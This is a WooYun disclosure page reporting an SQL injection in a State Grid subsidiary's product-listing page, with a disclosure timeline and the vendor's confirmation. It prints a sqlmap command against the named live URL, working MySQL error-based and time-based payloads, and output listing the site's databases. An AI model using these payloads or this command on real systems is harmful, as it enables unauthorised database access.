当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-033105

漏洞标题:国网电力科学研究院武汉南瑞有限责任公司SQL注入漏洞

相关厂商:国家电网公司

漏洞作者: piaox

提交时间:2013-08-01 15:51

修复时间:2013-09-15 15:51

公开时间:2013-09-15 15:51

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-01: 细节已通知厂商并且等待厂商处理中
2013-08-02: 厂商已经确认,细节仅向厂商公开
2013-08-12: 细节向核心白帽子及相关领域专家公开
2013-08-22: 细节向普通白帽子公开
2013-09-01: 细节向实习白帽子公开
2013-09-15: 细节向公众公开

简要描述:

过滤不严,网站存在SQL注入漏洞

详细说明:

x1.jpg


D:\python2.7\sqlmap>sqlmap.py -u http://whnari.sgepri.sgcc.com.cn/productList.js
p?productType=O0069 --dbs
Place: GET
Parameter: productType
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: productType=O0068' AND (SELECT 2207 FROM(SELECT COUNT(*),CONCAT(0x3
a7677673a,(SELECT (CASE WHEN (2207=2207) THEN 1 ELSE 0 END)),0x3a766e753a,FLOOR(
RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'otJs'='ot
Js
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: productType=O0068' AND SLEEP(5) AND 'JtvY'='JtvY
---
[11:32:48] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
[11:32:48] [INFO] fetching database names
[11:32:48] [INFO] the SQL query used returns 4 entries
[11:32:48] [INFO] resumed: information_schema
[11:32:48] [INFO] resumed: mysql
[11:32:48] [INFO] resumed: nari
[11:32:48] [INFO] resumed: test
available databases [4]:
[*] information_schema
[*] mysql
[*] nari
[*] test

漏洞证明:

D:\python2.7\sqlmap>sqlmap.py -u http://whnari.sgepri.sgcc.com.cn/productList.js
p?productType=O0069 --dbs
---
Place: GET
Parameter: productType
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: productType=O0068' AND (SELECT 2207 FROM(SELECT COUNT(*),CONCAT(0x3
a7677673a,(SELECT (CASE WHEN (2207=2207) THEN 1 ELSE 0 END)),0x3a766e753a,FLOOR(
RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'otJs'='ot
Js
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: productType=O0068' AND SLEEP(5) AND 'JtvY'='JtvY
---
[11:32:48] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
[11:32:48] [INFO] fetching database names
[11:32:48] [INFO] the SQL query used returns 4 entries
[11:32:48] [INFO] resumed: information_schema
[11:32:48] [INFO] resumed: mysql
[11:32:48] [INFO] resumed: nari
[11:32:48] [INFO] resumed: test
available databases [4]:
[*] information_schema
[*] mysql
[*] nari
[*] test

修复方案:

过滤、转义

版权声明:转载请注明来源 piaox@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2013-08-02 13:56

厂商回复:

谢谢,尽快协调整改。

最新状态:

暂无